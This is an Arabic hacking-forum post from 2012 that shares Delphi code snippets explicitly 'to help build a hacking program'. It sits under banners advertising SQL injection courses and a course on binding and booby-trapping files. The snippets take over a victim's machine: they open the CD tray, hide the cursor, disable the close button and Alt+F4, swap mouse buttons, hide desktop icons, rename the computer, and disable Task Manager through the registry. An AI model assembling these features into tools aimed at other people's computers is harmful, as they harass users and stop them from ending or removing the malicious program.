1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

بعض الاكواد المساعدة في عمل برنامج اختراق

الموضوع في 'الـقـسـم الـعـام' بواسطة .:: RSS ::., بتاريخ ‏17 يوليو 2012.

كاتب الموضوع : .:: RSS ::. المشاهدات : 1,364 الردود : 0 ‏17 يوليو 2012
حالة الموضوع:
مغلق
  1. غير متصل

    .:: RSS ::. عضوية آلية

    عضو منذ:
    ‏9 سبتمبر 2011
    عدد المشاركات:
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    الإقامة:

    [​IMG]

    [​IMG]

    [​IMG]

    ندخل مباشرة في الموضوع

    اليوم احضرت لكم بعض الاكواد المساعدة في عمل برنامج اختراق

    [​IMG]

    فتح قارئ الاقراص

    كود:
    mciSendString('Set cdaudio door open wait', nil, 0, handle) ;

    غلق قارئ الاقراص

    كود:
    mciSendString('Set cdaudio door closed wait', nil, 0, handle) ;

    اخفاء الماوس

    كود:
    ShowCursor(False);
    اظهار الماوس

    كود:
    ShowCursor(True);
    تعطيل زر إغلاق
    كود:
    var
    Flag: UINT;
    AppSysMenu: THandle;
    begin
    AppSysMenu:=GetSystemMenu(Handle,False);
    Flag:=MF_GRAYED;
    EnableMenuItem(AppSysMenu,SC_CLOSE,MF_BYCOMMAND or Flag);
    تعطيل ALT+F4

    كود:
    if (Key = VK_F4) and (ssAlt in Shift) then Key := 0;
    Change Computer Name:
    function SetComputerName(AComputerName: string): Boolean;
    var
    ComputerName: array[0..MAX_COMPUTERNAME_LENGTH + 1] of Char;
    Size: Cardinal;
    begin
    StrPCopy(ComputerName, AComputerName);
    Result := Windows.SetComputerName(ComputerName);
    end;
    مبادلة أزرار الماوس

    كود:
    procedure SwapMouseButtons(bValue: Boolean);
    begin
    if bValue then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, nil, 0)
    else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, nil, 0);
    end;
    إخفاء ايقونات سطح المكتب

    كود:
    ShowWindow(FindWindow(nil, 'Program Manager'), SW_HIDE);
    Show Desktop Icons:
    ShowWindow(FindWindow(nil, 'Program Manager'), SW_SHOW);
    Disable Task Manager
    procedure DisableTaskMgr(bTF: Boolean);
    var
    reg: TRegistry;
    begin
    reg := TRegistry.Create;
    reg.RootKey := HKEY_CURRENT_USER;

    reg.OpenKey('Software', True);
    reg.OpenKey('Microsoft', True);
    reg.OpenKey('Windows', True);
    reg.OpenKey('CurrentVersion', True);
    reg.OpenKey('Policies', True);
    reg.OpenKey('System', True);

    if bTF = True then
    begin
    reg.WriteString('DisableTaskMgr', '1');
    end
    else if bTF = False then
    begin
    reg.DeleteValue('DisableTaskMgr');
    end;
    reg.CloseKey;
    end;
    [​IMG]

    [​IMG]


     


    جاري تحميل الصفحة...
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...